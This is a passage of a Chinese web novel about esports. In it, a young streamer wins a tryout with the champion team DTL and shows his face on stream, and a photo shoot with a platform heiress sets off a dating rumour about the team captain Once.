只不过与此同时,敌方刺客跃刃和战士磐石也正从另外两个方向逼近。
沈岸连忙开口阻止自家辅助:“别过来了。”
然后特地留了一个突进位移技能,掐着绝对刚好的距离,在枪炮手踏入攻击范围的瞬间使出两个横扫技能。
已然残血的小可怜Wink这次终于无力回天,被拿下一血。
屏幕灰下去的瞬间人也被吓了一个激灵:“妈呀!他从哪冒出来的!”
怎么还成恐怖游戏了?!
而且怎么总感觉这操作好像在哪见过……
跃刃出言安慰:“没事,他没技能了,我们来了能换。”
Wink缓了两秒后提醒道:“控制留一手,他没交位移。”
磐石有些震惊:“这么细?
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说话间,二人已经包夹而至,循影避无可避只能正面招架,但技能CD明显落下风,两招之间就已残血。
磐石觉得时机成熟,是时候砸下大锤一波带走,可谁知对方就是在等他出手,看到起手动作就直接提前使出最后一个位移技能,翩然溜走。
因为技能后摇慢了半拍的磐石:“……”
打完一套也CD了的跃刃:“……”
没听劝硬是赶过来结果接了磐石一锤被定在原地,只能眼睁睁目送队友离开的天愈:“……”
两人最终集火收割了送人头的辅助,也算是意外收获。
天愈简直欲哭无泪,委屈巴巴地开口道歉:“不好意思啊,我不知道你能走。”
沈岸知道他是好心:“没事,谢了。”
“但下次记得听话。”
……
看到这里,屏幕另一头的张峥深呼吸一口气,转头看向同坐在一个会议室里观战的教练组刘教练。
刘厚明知故问:“你想说什么?”
“专业角度我不懂,但你觉不觉得这个说话语气很像一个人……”
刘厚:“……”
他想说其实专业角度更像。
像得都没边了。
早几年温忱刚进队时,刘厚曾扬言整个联盟就不会有第二个像他这样打游戏的。
看来话到底还是说早了。
就这种狠劲恨不能溢出屏幕,完全不知道撤退两个字怎么写,两眼一睁就是干,只要干不死就往死里干……的打法,居然真他妈能遇到第二个。
刘教练终于后知后觉这已经不是开不开班教学的事情了。
……
第一把虽然旗开得胜,但最终还是败在了运营,对面在第十二分钟的时候围攻摧毁了复生神像,然后逐个击杀,最终只剩循影一人存活。
纵然操作拉满,1V4杀了两个,也还是没能改变败局。
第二局吸取了经验教训,打得没有第一局那么野,但也谈不上多收敛。
依旧是循影率先出击,对面吃了一把亏也涨了教训开始抱团,没有切C机会,沈岸就绕了大半张图把能收的野怪都收入囊中,队友又看准时机摧毁了敌方天赐神像,最终以压倒性经济优势打赢团战,拿下胜利。
最后一局沈岸掏出了舜华,他平时直播很少玩这个英雄,没什么信息量,但因为有着被循影连蹲两波的惨痛记忆,Wink认为他玩这个英雄只会更阴,依旧全程和辅助连体。
可其实沈岸志不在他,这把对面战士玩的是燎原,人如其名,是一款可以打出AOE火伤的英雄,再加上地图随机到的是青竹之森,对他特别有优势。
为了限制其发育,舜华非常目标明确,从开局就针对燎原。
看得张峥一头雾水,请教刘厚:“舜华这英雄切C都费劲,他去切战士??”
“切C难是因为伤害低自己又脆容易被对方反杀,但战士前期伤害更低,只是胜在比较肉,他只要操作够得上,可以一直游击着打骚扰,干扰他正常发育。”
简而言之就是谁也杀不死谁,但也都别想好过。
是一种非常典型的不当人打法,正规赛场上用得不多,因为既招骂又考验技术,一旦失误就会一失足成千古恨。
不过架不住早些年有人仗着实力过硬,酷爱不干人事,刘教练有幸开过不少眼界。
刘厚已经不挣扎了,一眼扫过屏幕里和战士操刀奋战的人影,死去的记忆重新发起攻击。
“是他的话,肯定能恶心死燎原。”
20. 第 20 章
事实证明,刘厚一点没说错,打到后面燎原已经有些心态炸裂了。
“不是,怎么有人这样打游戏啊?!”
这把的燎原是二队新晋选手汪波,ID:Boon,小小年纪没有经历过什么毒打,尤其玩的又是战士,还从来没有过这种被针对的待遇。
在又一次被成功骚扰,只能老老实实回家补血后,汪波彻底崩溃。
“靠!我惹他了吗?!”
Wink作为二队的队长,对队员一向很温和:“别着急,慢慢打。”
“我怎么打啊!等着被他打死吗?”
汪波就差直接扔鼠标了,原本好好的爽局,硬是被人恶心到全场经济倒一,更可气的是同样都不好好发育,那个该死的舜华不知道为什么居然还有空骚扰完人再去打怪,比自己足足多出一个大件装备。
眼看再这样下去,真的能被他切死也不说不定,他都不敢想那得多丢人了,赛后肯定会被教练当成反面教材训死。
Wink知道他在担心什么,虽然心里明白改变战术可能会影响节奏,但还是优先选择安抚队友:“你先拿我金币买点防装,然后我们一起行动,慢慢发育。”
可惜心软的结局是全家都被打爆。
给已经崩盘的队友让经济,导致自己也被拖了后腿,对面并没有给他们慢慢来的时间,一直发育很好的射手直接满盘收割,十五分钟结束比赛。
让一追二,最终试训队伍拿下胜利,沈岸拿了两把MVP,当了一把坏比,美滋滋下了播。
对着“该直播间已上锁”黑屏界面守了几个小时的粉丝们:??????
过了十来分钟,开播提示再次跳了出来。
这次终于不是上锁状态了,被放进来的粉丝们立刻开始打字声讨。
【主播你知道你独自一人播了仨小时吗?】
【你又没签合同为什么这样水时长啊】
【有什么不能带大家一起看的,把礼物打赏打开,我花钱看】
……
【嗯?主播你怎么把直播间简介改成DTL内部人员了】
【woc刚刚三小时不会是在偷偷打试训赛吧】
【救命这个苦还真让你吃上了】
【小小年纪就想不开,非要去那种鬼地方】
【什么叫鬼地方,国内独一个的冠军战队,也轮得到你们置喙?】
【逃兵冠军?】
【运营公关跟屎一样,只有成绩没有马,以后估计成绩都难有了,现在首发除了Once压根没有真人】
【所以主播你是Once的粉丝吗??】
【你这不是废话吗,现在想去DTL的除了Once粉丝还有第二种人?】
【合理怀疑就连Again这个ID也是为了和Once凑成词组】
【他包是粉的,我已经发现很多次了,只要说Once坏话的都会被踢出直播间】
【哦?我来试试,Once坏Once坏Once坏】
【Once菜Once菜Once菜——怎么还没踢我?】
……
几个好事的一直盯着直播间看自己有没有被踢,不成想没有等来被逐出房间的提示,反倒是发现右下角的小窗口闪了一下。
摄像头的指示灯突然亮起,在众人还没有反应过来发生什么时,一张漂亮乖巧,干净到没有一丁点杂质的脸赫然出现在了屏幕的右下方。
镜头是微微仰视的,屏幕清冷的光照在脸上,一双眸子清澈透亮,鼻梁挺秀,唇如温玉,面部线条干净利落。
没有打光,没有美颜,没有妆造,也没有凹角度。
纯他妈就硬帅。
弹幕再一次天崩地裂。
【???????????】
【???????????】
【卧————槽————?!】
【主播你他妈长这样是什么意思啊???】
【什么情况,怎么突然露脸,转频道了?】
【主播请自重,我是你坚定的技术粉】
【好乖好乖好乖好乖——】
【姨姨亲亲,姨姨以后可以做你妈妈吗?】
【我天,所以居然是顶着这张脸在杀人如麻吗??打得又凶又会怼人,我都自动带入叛逆不良少年了】
【我草我疯了,DTL这是什么狗屎运啊,又帅又厉害的给他们捡俩了】
【弟弟你听姐说,咱联盟里还有个队伍更适合你,他叫YF男团,你往那投简历,或者也可以直接找个真的男团……姐姐给你投票送你出道,咱不打这破游戏了】
【呵呵,某些女粉又开始了,这是游戏直播间,不是给你们犯花痴的】
【估计和粉Once的是同一批脑残吧】
然后这位就被移出了直播间。
之前以身试水的几位这下如愿看了个明白,顺带连主播踢人时冷冰冰的眼神都看得清清楚楚。
——感觉凶凶的,但又有些可爱是怎么回事。
凶凶的人下一秒抬起头,朝着摄像头极轻微地扯了一下嘴角,一个浅浅的酒窝在脸颊若隐若现。
“感谢各位这段时间的支持,今天之后直播生涯暂且告一段落,下个月我就要去上班了。”
【你才播多久?!生个屁的涯啊——】
【沃日不要啊,真去DTL了?】
【糊涂啊孩子,现在进DTL也只能做青训生,但以这个流量继续干直播那是真的能赚大钱的!!】
【主播我还能再见到你吗呜呜,我真的是你的技术粉,跟着你学的循影已经成功从宗师掉到钻石了,你要对我负责啊】
【等等,我好像反应过来什么了,你开播这十几天不会就是故意钓DTL来挖你走的吧——】
【DTL到底有谁在啊!!】
【这么喜欢Once??你小子不太对劲吧?】
被戳破了心思沈岸也没在意,心情很好地挑了挑眉:“问这么多问题啊,不如开个自定义房间来1V1,赢我一把我回答一个吧。”
一众技术粉求之不得,纷纷报名上车。
第一把抢到位置的是个青年音大哥,沈岸活动了一下手腕:“先说你想问什么吧。”
青年音问他,流量这么好为什么不开礼物打赏,有钱不想赚吗?
可惜落败,没听到问题答案。
第二个进房间的是个技术控,问了个很专业的循影数值问题。
依旧惜败。
第三次来了个声音甜甜的女生,问他为什么要进DTL,是不是冲着Once去的。
这次轮到沈岸没打过。
【你小子小小年纪不学好,就知道放水女生是吧!】
【都放成海了!!当我们瞎的么!!】
【主播这波走上去接技能的样子很帅,进了DTL也要这么打哦】
沈岸没理会弹幕,愿赌服输道:“没错。”
好看的眼睛微微弯起,真诚且乖顺:“是冲着他。”
在疯狂的“啊啊啊”和“我就知道”的刷屏中,自定义房间迎来了第四位选手。
也是一位女生,问他多大了,打游戏这么厉害是怎么练的,之前一直没有上过榜是在打别的游戏吗。
沈岸依旧没打过,逐个回复。
“十八岁半。”
“有人手把手教的。”
“之前被撵去好好学习了。”
【主播别装了,九漏鱼就九漏鱼,这个圈子九漏鱼不丢人】
【别凹人设,这个真不信】
【虽然你长得蛮学霸的,但你的技术告诉我不可能】
【怎么是个女的就打不过?】
继续没理弹幕,迎接第三位女生,这次对方问的是主播喜欢什么类型的女孩子。
连给女生放了两把水的人好像突然又找回手感了,没再怜香惜玉,一波把人抬走。
【笑死我了,跟男生女生没关系,纯粹看他想不想】
【主播只要遇到不想回答的问
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题就能打过了】
【孩子你好像有打假赛的潜质,进了职业队千万记得管好自己的手啊】
……
1V1的速度很快,接连又进了几个粉丝,有菜的也有打得不错的,但沈岸遇强可以更强,遇弱也可以更弱,挑了几个看似乱七八糟的问题回答。
比如有人问,谁手把手教的,打法有Once的影子,是不是也在前段时间网上传的那个专门研究Once的民间队伍里面。
沈岸和人打了个平手,挑了一半回答:没有这个组织。
比如再有人问,长这么可爱怎么嘴这么毒?
沈岸回答:跟人学坏了的。
比如又有人问,以后真的不播了吗,还想看怎么办?
沈岸回答:赛场上会看到的。
……
临近尾声的时候,一直和和睦睦的自定义房间里迎来了第一位张牙舞爪,吱哇乱叫的选手。
“啊啊啊啊啊啊你小子不回我消息原来是在偷偷摸摸干大事,我说怎么看了几天打得眼熟声音也耳熟,换个ID差点没认出来,你个臭私生……”
然后就被踢出了房间。
主播温馨提醒:“黑子不许进。”
看了眼时间:“很晚了,最后一位。”
最后一位幸运儿是个声音十分稚嫩的男生,听起来像初高中生。
知识储备比较丰富的孩子问:“所以Again这个ID真的是为了和Once组成词组吗??Once again我们才学过,是再一次,又一次的意思,强调动作的重复性!所以哥哥你是想表达什么意思呢?”
沈岸:“……”
好孩子,爱学习的都是好孩子。
和好孩子的对局持续了蛮长时间,十分焦灼难分胜负,因为沈岸没有想好该怎么回答这个问题。
以及要不要回答这个问题。
摄像头下的人看似非常认真专注,目不转睛地盯着屏幕,仿佛视线脱离一刻就会控制不住人物走向。
但其实事实上,1V1的这几张旧地图沈岸闭着眼都能从东打到西——因为过去和某位“带他学坏”的人打了太多太多场。
在其中的某一场里,他也曾问过同样的问题。
为什么取Once这个ID,是代表什么意思。
那会的两人面对面坐在同一张长桌前,因为对方有凑过来看他屏幕的前科,沈岸还特地躲远了些,缩在桌角。
温忱则大喇喇地霸占着对面大半张桌面,翘着二郎腿,转着电竞椅,微微仰着下巴,是个教风不大端正的老师。
提问起来也没什么威严。
“那先考考你,这个单词有哪些意思?”
沈岸并不偏科,化身人形词典:“核心是副词,一次;一度;一旦;做连词和名词的情况比较少,大多表时间和频率。”
“真聪明。”
老师发来认可,腾出手给聪明小朋友鼓了鼓掌,然后公布答案。
“你可以理解为一种名词用法。”
“Once is enough for me.”
对我来说一次就够了。
又或者说,我只给自己一次机会。
沈岸消化了一下这句话的意思,觉得大约是一种激励,鞭策自己一击必成的那种。
蛮好的寓意。
“第一个告诉你的哦。”正经不过两秒的老师又回归了不大着调的样子:“别人问我都说瞎取的。”
……
想到这里,沈岸觉得自己似乎应该礼尚往来一下,也留着第一个告诉他才对。
反正也很快了。
等到回国,等到去到DTL,等到重新站进那个人的视野。
就可以义正言辞的跟他说:
如果Once代表只有一次。
那么Once again便是,再一次,又一次,一次接着一次。
换而言之,我想表达的是——
我会不止一次去到你身边。
21. 第 21 章
DTL的日程安排很阴间,周五就是表演赛,形象照定在周四拍,还是周四一大早。
几个人昼夜颠倒训练到凌晨,已经很久没有见过早上八点的太阳了,被从房间拽起来的时候一个比一个脸色难看。
林词也很无奈,DTL没有自己的摄影团队,因为往常都是别人抢着来拍他们,奈何之前Once休赛,也没个回归定点,别人不可能把档期留给一个未知数,再加上这个时间点上好几个游戏都将新赛季,筹备选手新照的战队应接不暇,好的妆造摄影师早就被约满了。
就这能临时约上还是某个知名摄影团队给插了队的。
至于为什么给插队——
他扫过后座昏昏欲睡的一片人,心虚地清了清嗓子:“那什么,最近赶上好几个游戏赛季更新还有直播平台周年庆,拍摄行业很卷,今天这个摄影团队很抢手,档期安排不过来,分了两个组,棚里同时拍我们和另一批人哈。”
“不过也都不陌生,是星觉TV那边带了几个游戏频道的大主播来拍宣传照,咱们和他们平台也签了好几个赛季了,大家都算半个同事,见面友好点,打个招呼。”
大家都没什么意见。
反正也不是第一次和别人公用一个棚拍照,早几年还没有拿冠军的时候,没名气的小队伍都是排队上阵,十几个队伍轮一个棚都是有的。
可如果只是如此的话林词也用不着心虚了。
目光扫过最后一排用帽子遮着脸睡觉的某人,他再次思索了一下措辞,然后提高音量。
“那边给平台带队的是他们大股东的女儿,一直都很喜欢很支持咱们战队,能约在一起也是缘分,到时候结束了大家轮流跟小姑娘合个影拍个照,既当回馈粉丝,也当感谢平台照顾了。”
想了想又补充道:“放心,合照绝对不会商用,就当正常粉丝合影哈。”
众人:“……”
这下连傻子都听出来是什么意思了。
没人接话,几人或明目张胆或偷偷摸摸地朝后排瞥了一眼,等待主要核心人物发言。
但那人没给什么反应,双手交叉抱在胸前,歪头斜靠着,鸭舌帽盖了上半张脸,只漏出一双有些苍白的嘴唇,没有准备开口的迹象。
林词抓住机会:“好,那大家没意见就这么定了。”
车子缓缓驶进棚区,停在了一个大型摄影基地门前。
林词一会还有会要开,到地方后就急着先进场和负责人确认流程,把人叫醒的任务留给了小助理。
一车人睡得四仰八叉,小助理从前摇到后,没想到最后一位睡相最安稳的反倒叫起来最费劲。
唤了半天才给了一点反应,先是很深地吸了一口气,然后轻微挪动了一下身体,半晌后才抬手摘下卡在脸上的帽子。
脸色明显不太好,但每个人都不太好,小助理只当是起太早又一路睡懵了,没多问什么,招呼人下车。
温忱上车时头有些昏,不知怎地半路睡死了过去,突然被叫醒又感觉多了几分刺痛。
缓了一会,又活动了一下有些发麻的手脚,才起身弯腰往车门走。
九点多的太阳不算刺眼,可钻出后座的那一刻,温忱却结结实实感觉到眼前闪过一道炫目白光,刺得他下意识闭上了眼,结果导致踩空了一级踏板,踉跄半步,笔直的就往前倒下去。
好在是Kun还没有走远,听到动静慌忙回头扶了一把。
“怎么了队长?”他困意瞬间消散:“你不舒服吗?”
站稳后,温忱捏了捏眼睛摇头。
小助理连忙跟了上来:“昨晚没睡好吗?”
准确的说是很多个晚上没睡好。
但多说无益,温忱抬脚往里走:“没事,进去吧。”
星觉TV的人到的更早,进门后迎面撞见了两个还算眼熟的主播,贺倾冲技术男主播简单点了点头,然后缠着颜值女主播热切寒暄。
“这么巧你今天也来这边拍照啊,真有缘。”
“我还经常给你刷礼物呢,你忘啦?”
“你辅助玩的很好啊,等最近比赛打完了有空我们一起双排嘛……”
温忱从二人身边路过,本没有停留,但女主播实在不想和贺倾废话,看到他如同看到救命稻草。
“好久不见啊温队,”边说边朝他靠近,使了个眼色:“看到你在邀请赛的亮眼表现了,欢迎回来~”
温忱意会,点了点头,懒得去看旁边的显眼包队友:“一起进去吧。”
两个队伍的化妆间是分开的,拐过走廊后要朝两个方向走,女主播十分感激地说了声谢谢。
“不用。”温忱放慢步子:“你可以直接不理的。”
女主播有些发愁:“不太合适吧,都是一个圈子的。”
“不合适的是他。”
……
妆造的功夫,DTL化妆间里送进来了两波外卖,粤式早茶搭配现磨咖啡。
猜得到是什么人点的,贺倾他们也没跟人家小姑娘客气,拿了自己的份,还看热闹不嫌事大的招呼别人道:“快来接收你小迷妹的爱心早餐。”
温忱头也没回,没理他们,就像在车上没理林词。
他个人其实非常不喜欢这种含带着利益瓜葛的,目的性很强的资源置换,尽管这种事情在任何一个圈子里都很司空见惯,再正常不过,但他就是不喜欢。
就像不喜欢接代言上综艺一样,因为他从来不认为自己的职业走向够得上和另一个圈子、另一个阶层挂钩。
换做过去,温忱不会接受林词的安排,哪怕他先斩后奏。
无关乎事情本身是否有对错好坏,仅仅是出自非常纯粹的个人立场。
可人的立场是会变的。
在坚定知道自己该如何走下去时,立场也会很坚定,在已经谋划好离开,无所谓下一步时,立场也就没那么不可动摇了。
所以没有回绝。
但也只是没有回绝。
温忱没有动人家送来的早餐和咖啡,率先完成了妆造后就窝在沙发上小憩。
负责温忱妆造的男化妆师属于全团队最讨巧,碰上这种底子好,皮肤白,五官也好看的,随便打个底抓个头发就能收工摸鱼。
这会也坐在人家旁边的单人沙发上刷手机摸鱼。
大数据手段实在了得,坐在DTL队员身边,打开视频软件,首页推送就是关于DTL的最新资讯。
化妆师一边感慨着一边点进去,翻了几个都是经典的营销号配音视频。
“近日,天才主播Again横空出世,半月登顶国服,粉丝疯涨百万……现据可靠传闻,该主播已通过DTL试训……是新一代王牌的诞生?还是老将不死的接力?点关注……”
“天呐,又帅打游戏又厉害的DTL到底还准备挖几个……新晋天才主播Again打上国服当天回馈粉丝直播露脸帅出天际,还直言是为了Once才选择打职业……”
“闺
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蜜你爱磕的电竞双男主给你找到了……大佬前辈和天才迷弟的设定一听就很香,这波小编我站年上……”
短视频的声音放得不大,但是落在温忱的耳边还是很清晰,耳闻着走势越来越不对劲,他轻咳了两声坐直身子。
化妆师平时不太关注电竞圈,还是第一次被大数据推送这个,让那称得上炸裂的营销号文案吸引,忘了本尊就在旁边,被提醒了才后知后觉有多脚趾扣地。
手忙脚乱地关了后台,他尴尬地没话找话:“哈哈,其实我觉得年下更好磕呢……”
温忱:“?”
化妆师倒吸一口凉气:我靠死嘴。
“什么是年下?”
Wink第二个化完妆,也凑了过来,因为被包括沈岸在内的很多人嘲DTL没有二队,俱乐部特别要求这次宣传片两个队伍都要参与拍摄。
他眨巴眨巴眼睛:“是什么新的流行语吗?”
温忱:“……”
化妆师:“……”
就很难去跟你解释这个东西你知道吧?
最终还是化妆师灵机一动:“啊,就是年纪很小的意思,刚刚我刷视频看到有个小孩要进你们战队来着……”
“嗷,他啊。”Wink在沙发的另一侧坐下,轻叹一口气:“他很厉害的,我打不过他。”
被狠狠制裁的那两把还在脑子里挥之不去,他们赛后复盘也被教练训了,毕竟试训一般都是为了试出对方实力水平,二队更应该占据上风,打刺探,给教练团提供有效信息。
结果他们倒好,居然直接没打过……
“打不过他很正常。”温忱淡淡点出:“你的操作没什么问题,主要是战术抉择做得不好。”
“队友崩盘时不是你一味让经济就可以扭转局势的,你顾着安抚,把自己节奏带乱,该起不来还是一样起不来,只会给对面机会。”
“况且他当时也不是被集火针对,抱团根本没有任何收益。”
Wink觉得他说得很对,其实当时也知道做得不太对,只是一时半会也没想到更好的方法,立刻探过身子虚心请教。
“那我应该怎么做比较好?”
“别管他。”
温忱脱口而出,说完又觉得可能不是所有人都适合学习这种极端打法,吃不透搞不好还会起反作用,消解团队意识。
想了想更正道:“当然,具体情况具体分析,正面刚不过就躲,心态崩了就调整心态,关心队友发扬团队精神固然是好的,但比赛场上更重要的是大局观,想要取胜,该卖的时候就要卖。”
“比如第二把,对面天愈为了救循影追上去送的时候,他但凡犹豫不忍一秒钟,结局都是一起死。”
Wink若有所思,似有所悟:“有道理。”
温忱没太敢深入回忆那三把对局,教学也是点到为止。
“总之做好自己,不要被别人影响。”
Wink消化了一会后郑重点了点头,说谢谢温队,紧接着忽然又想到什么。
“嗯?所以温队你居然还看了那天试训比赛的录屏吗??”
感动到星星眼:“……温队你对我们好上心啊(┳◇┳)”
自己比赛在即天天训练都忙成陀螺了,居然还能抽空观看研究他们的试训视频。
真是好好认真负责,好好关心队员,好好体贴入微的好队长!!
醉翁之意不在酒的好队长:“……”
“应该的。”
22.第 22 章
形象照主要是穿队服拍摄,分为个人照和团体照。
温忱长得帅又上相,根本不用特意找角度,随手一拍就是出片,摄影师拍得忘我自动切换娱乐圈模式,一会让他给点侧脸,一会让他给点情绪,一会又是什么吃个光借个力……
听不太懂专业术语,最终还是那几个标准姿势,双手插兜平视前方的正脸照、长腿微屈坐在高凳上低头抬眼、以及一个背身回头的侧脸特写。
快门声咔咔,打光也一直在变,完成最后一个收尾动作时,温忱隐约听到另一个方向传来了更细微的一声快门,伴随着一束闪光。
偏头望过去,才发那里不知何时站了一个穿着红白拼色公主裙的女生,正举着手机朝自己这边拍照,撞上目光后,对方立刻展现了一个又大又甜的微笑,激动地边挥手边踩着小高跟上前。
棚里比较闷,聚光灯温度又高,温忱从拍摄区走出时脸上流了些汗,贴心小公主早已备好纸巾,抬手奉上的同时自我介绍。
“Once哥哥你好呀~我叫卿卿,是星觉TV逐鹿游戏频道的实习管理,也是你的粉丝~铁粉哦!”
不过没碰到人,被对方很有边界感地侧身拉开了距离。
温忱礼貌接过纸巾,没有碰到女孩的手:“你好,谢谢。”
卿卿追着人往外走:“嘻嘻,Once哥哥,我从很久之前就粉你啦,你的每场比赛我都去看,前段时间的A国邀请赛也去了!我去接机的你有印象吗?……还参加水友赛了呢!可惜没有匹配到你,本来想着最后能一起大合影的,你当时怎么提前走了呀?”
一路跟回化妆间,推开门时正好遇到小助理领着下一位拍单人照的选手往外走。
陆寻然目光从二人身上扫过,轻哼了一声,没有停留。
等到两波人擦肩走过,温忱才缓缓开口:“那晚有点事情。”
“好可惜。”卿卿努了努嘴,不过很快又笑开了:“好在一会可以补回来!”
温忱没再搭话,坐回化妆镜前补妆,卿卿也比较自来熟,和休息的其他几个队员打招呼,自我介绍又来了一轮。
几个年纪小的比较腼腆,遇到漂亮小姑娘热情打招呼还有些不太好意思,回复都很礼貌,唯有贺倾像个油腻老流氓。
“这么巧,我也叫倾倾~”
被人从化妆镜白了一眼也浑然未觉:“早餐和咖啡味道都好极了,是哪家的呀下次我们也订。”
卿卿脾气蛮好,耐心告知了酒楼地址,还解释说这家咖啡非常不错,用的都是品质很好的豆子。
结果回头一看,发现还有一杯没有拆封。
“咦?你们有人不喝咖啡吗?”
贺倾直接告状:“你Once哥哥不喝。”
“啊……”女孩有些无措地望过去。
贺倾看热闹不嫌事大,压低声音凑上前悄悄说:“不仅没喝咖啡,早餐也没吃哦~”
终于被人回头给了一记实打实的眼刀,才悻悻闭了嘴。
卿卿肉眼可见的情绪低落了,难掩失意:“抱歉啊,不知道你口味……”
“没有。”温忱轻舒一口气,没让女生在众人面前羞陷入尴尬境地:“是我胃不大舒服。”
倒也不是说谎搪塞,的确不舒服一段时间了,这两天尤其明显。
卿卿一听担忧地起身靠近,想要出言关心,对方却没给机会,抢先开口。
“你说你是星觉TV的实习管理?”
愣了半秒,卿卿受宠若惊地点头:“嗯嗯!”
“那你知不知道,你们平台针对高热度的散人播客有没有什么隐藏的条例规定?”
虽然知道沈岸肯定不会傻到去签合同,但毕竟他的直播间短期内流量太大,平台不可能没想法,他能一直不开打赏,零收益还没被限流,实在有些不合理。
卿卿没听懂这个问题:“散人播客?”
“就是未签约状态下流量很好的主播,如果没有有效收益,平台应该会采取限流措施吧。”
“流量很好怎么会没收益?”卿卿突然灵光一闪:“啊!你是想说那个新人主播Again吗?他是比较特殊啦……”
Kun登时敏锐地望了过来。
他现在一听这名字就害怕,更何况还是从他们队长嘴里问出来,生怕下一秒自己首发地位不保,形象照直接成退役照。
内心疯狂祈求温忱别太关注那个新人,但事与愿违,向来很少在意比赛外事宜的Once当着众人的面继续追问。
“怎么个特殊?”
“他,他……emmmm……”
卿卿支支吾吾半天,不知道这样说出来合不合适,但终究还是没抵过偶像那双热切求知的眼神。
“他,他家,好像是给平台投赞助了,还蛮多的……”
其实她也不太清楚具体内幕,毕竟只是实习生,这些还是听父亲无意中提起的,说是最近有人突然给平台投了不少赞助,说是家里有孩子想开直播玩,也不要求引流,只让他们别管直播间签不签约盈不盈利,照常推送,照常登榜,不搞针对就行。
蛮慷慨的冤种。
温忱:“……”
纵弟如杀弟。
沈时你真tm是个人才。
在场的所有人:“……”
Kun简直要疯,这他妈什么逆天匹配机制,小小年纪,长得好看,强得没边,还是个资本家?!
这要是再带资进队的话DTL还不让自己有多远滚多远啊——!
小助理推门进来撞上这么个凝固的氛围,茫然地眨了眨眼:“怎么都傻愣着?快收拾收拾,准备过来拍合照了。”
又看了某位女孩子一眼,想起林大经理的叮嘱,客客气气道:“卿卿也和我们一起吧。”
DTL的内部合照优先,四人身着只有胸前签名不一样的队服,白色为主调,一道红色的烈焰图腾从左肩一路燃烧而下,钻进下摆。
寓意着星星之火不灭。
是在三年前重新设计的,因为拿下了代表赛区荣耀的第一冠,粉丝们自发的将应援色设置成了红色,为了迎合这一理念,队服队徽也随之更改。
为了彰显铁粉属性,卿卿也特意穿了一身红白裙子,合影时画面色彩格外协调。
小助理当场把合照照片传给林词过目,问有没有不合适的,让摄影这边及时删除。
林词依次点开,划到最后几张时满意地点了点头,眼里全是欣赏。
卿卿个头本来就不矮,又穿了高跟鞋,和陆寻然贺倾他们拍照的时候显得差不多高,只有到了Once这里才显现出绝美身高差。
虽然只是简单的并肩而立,但架不住男帅女美,又是同一个色系的穿搭,看起来般配又养眼。
看得出摄影师想极力开发一些亲密互动,但Once没太配合,保持着不近不远的距离,任对方女生换了好几个姿势表情,都基本维持着同一个动作神色,不算冷漠,但也绝对称不上热情。
除了最后一张稍微不同些——卿卿冲镜头做了个Wink的表情,Once在一旁单手插兜侧身站立,没什么表情,只是恰好垂下了眼,营造出了一种满满宠溺感
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的错觉。
欣赏完后林词发来一串点赞小手。
【LC:[赞][赞][赞][鲜花][鲜花]拍得不错】
【LC:记得提醒小姑娘不要乱发,自己欣赏就行】
然而,天不遂人愿。
两个小时后,林词在微博热搜上再一次欣赏到了这组照片。
卿卿目的非常明确,只挑了和Once的合照发,还附加了三张花絮,都是Once在拍摄形象照时的场外视角,手机拍摄的实况图,清晰度不高,但聚焦的人长相身形都过于优越,原图直出也已足够惹眼。
配文:和@Once的一天(?????)
实时点赞和评论直逼十万加。
林词点开看了一眼,直接两眼一黑。
什么祝99的,问是不是官宣的,扣问号和666的……还有喷子借机发挥,说什么原来休赛是去谈恋爱了,什么带坏联盟风气第一人啊,喜欢和女粉丝在一起……
#Once恋情的相关词条也飞速冲上热搜,女孩本人没有明确回复,Once本人又几乎不会上号,那些好事的和破防了的就干脆直接追到了DTL官博来问。
就连隔壁战队经理都打电话问林词,你们Once是不是真恋爱了?
林词欲哭无泪,一边忙着联系公关一边编辑澄清微博,忙得脚不沾地。
反倒是那位出现在热搜照片里的本尊一脸无甚所谓,看着他急得跳脚还有些想笑,仿佛早有所预料般挑了挑眉。
“这下高兴了?”
林词:“……”
搬起石头砸自己的脚,他根本没处说理。
“我的问题我的问题,没想到这小姑娘看着乖巧懂事善解人意的居然背地里搞这出……哎,主要也是实在约不到场地了上面又催得紧,不然我也不想多这个事……”
实在是只能好言哄他:“那什么,其实我们官号解释了粉丝也不一定会信,最好还是你能自己上微博发一句。也不用说太多,就辟个谣,澄清一下,说是朋友都行。”
温忱甩都不带甩他:“关我什么事?”
你们搞的烂事,捅了烂摊子,还想让我帮你们收?
做梦。
“……好赖也是你自己的名声啊,想想看那么多女粉,有多少都是自称什么女友粉妈妈粉的,要是真以为你恋爱了,那还不得捅炸了天啊。”
温忱觉得林词的思维很奇怪:“我只是在这上班,又不是出家了,为什么不可以谈恋爱?”
“难道他们喜欢我支持我是因为觉得我永远不会谈恋爱吗?”
林词:“……”
“你先别说这些有的没的,现在问题是你压根没有谈,没谈咱们就得澄清,不能吃这哑巴亏啊,不然让大家误会了影响多不好。”
“哦,那你们干的事你们澄清啊,我又不怕人误会。”
话音未落,消息提示音响了两声。
行的端做得正丝毫不怕人误会的温大队长低头看了眼手机。
忽然就老老实实闭嘴了。
也不言之凿凿,浑身气焰了。
也不无所畏惧,满不在乎了。
心虚地愣了半晌才鼓起勇气点开了那个疯狂闪烁的小猫头像。
只见对方在用问号盖楼。
【Side:?】
【Side:??】
【Side:故意的?】
【Side:新招数吗?】
【Side:牺牲这么大?】
【Side:就因为不想我去DTL?】
23.第 23 章
不怪沈岸多想,实在是几件太不寻常的事情发生得过于连贯了。
自己这边刚敲锣打鼓试训完,他那边就整出这么个惊天地泣鬼神的绯闻。
虽然知道几张照片而已不能代表什么,但沈岸很清楚温忱的性子,想不通那人到底出于什么才会突然配合。
为了提前划清距离?
为了让自己知难而退?
为了阻止他执意加入DTL?
……还是说,那女生真是他喜欢的类型?
发完消息后挺久没有收到回复,沈岸没忍住又点进去那条微博看了几眼。
与林词所感截然相反,他一点没觉得哪里般配哪里养眼了。
尽管配色一致,但一点相性度和契合感都没有,像大马路上碰巧穿了同个颜色的陌生人。
长相上不般配,不软也不乖的。
身高上也不般配,才到人家肩膀。
性格上更不般配,造势这么高调。
……
总之哪哪都不般配。
再次默默否定了最后一种可能后,沈岸终于收到了对方的回复信息。
【Once:不是。】
【Once:但确实不想你来。】
意料之中,但心情莫名好了很多。
【Side:这次又是什么理由?】
【Once:不是什么好地方。】
【Side:可是你在那里。】
对面沉默了一会,发来了一句让沈岸意想不到的话。
【Once:不是说我讨厌?】
发愣的功夫,对方又撤回了这条消息,改口。
【Once:我也不会再待多久了。】
沈岸还没从那句被撤回的信息中缓过神来,盯着新消息看了半天,才反应过来他的意思。
当年因为各种因素交织,Once和DTL签的合同是全联盟都少有的五年期,阴阳效力外加天价违约金,牢牢将人锁住。
作为新人自然没有能力清偿,但自夺冠后来挖他的队伍很多,像YF那种财大气粗愿意承担违约金的也不在少数。
